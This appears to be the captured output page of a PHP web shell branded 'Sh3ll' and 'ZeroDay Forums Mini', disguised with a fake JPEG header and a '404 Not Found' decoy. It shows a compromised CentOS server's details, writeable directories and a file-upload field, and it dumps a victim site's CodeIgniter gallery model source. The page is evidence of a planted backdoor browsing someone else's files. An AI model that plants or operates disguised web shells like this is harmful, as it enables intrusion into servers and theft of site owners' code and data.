����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/modules/dashboard/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/adimi/application/modules/dashboard/models/Galleries.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Galleries extends CI_Model {
	public function __construct()
	{
		parent::__construct();
	}
	//image List
	public function image_list()
	{
		$this->db->select('*');
		$this->db->from('image_gallery');
		$this->db->join('product_information','image_gallery.product_id = product_information.product_id');
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return $query->result_array();	
		}
		return false;
	}
	//image Search Item
	public function image_search_item($image_id)
	{
		$this->db->select('*');
		$this->db->from('image');
		$this->db->where('image_id',$image_id);
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return $query->result_array();	
		}
		return false;
	}
	//Insert image
	public function image_entry($data)
	{
		$result = $this->db->insert('image_gallery',$data);
		if ($result) {
			return TRUE;
		}else{
			return FALSE;
		}
	}
	//Retrieve image Edit Data
	public function retrieve_image_editdata($image_id)
	{
		$this->db->select('*');
		$this->db->from('image_gallery');
		$this->db->join('product_information','image_gallery.product_id = product_information.product_id');
		$this->db->where('image_gallery.image_gallery_id',$image_id);
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return $query->result_array();	
		}
		return false;
	}
	//Selected product
	public function selected_product($product_id){
		$result = $this->db->select('*')
							->from('product_information')
							->where('product_id',$product_id)
							->get()
							->result();
		return $result;
	}
	
	//Update Galleries
	public function update_image($data,$image_id)
	{
		$this->db->where('image_gallery_id',$image_id);
		$result = $this->db->update('image_gallery',$data);

		if ($result) {
			return true;
		}
		return false;
	}

	//Update Galleries
	public function update_gallery_image($data,$image_url)
	{
		$this->db->where('image_url',$image_url);
		$result = $this->db->update('image_gallery',$data);

		if ($result) {
			return true;
		}
		return false;
	}
	// Delete image Item
	public function delete_image($image_gallery_id)
	{
		$image_name =  $this->db->select('image_url')
            ->from('image_gallery')
            ->where('image_gallery_id',$image_gallery_id)
            ->get()
            ->result();
        if($image_name){
            unlink(FCPATH.$image_name->image_url);
        }
		$this->db->where('image_gallery_id',$image_gallery_id);
		$this->db->delete('image_gallery');
		return true;
	}

    public function get_gallery_images($product_id)
    {
        $result = $this->db->select('*')->from('image_gallery')->where('product_id',$product_id)->get()->result();
        return $result;
    }
}

ZeroDay Forums Mini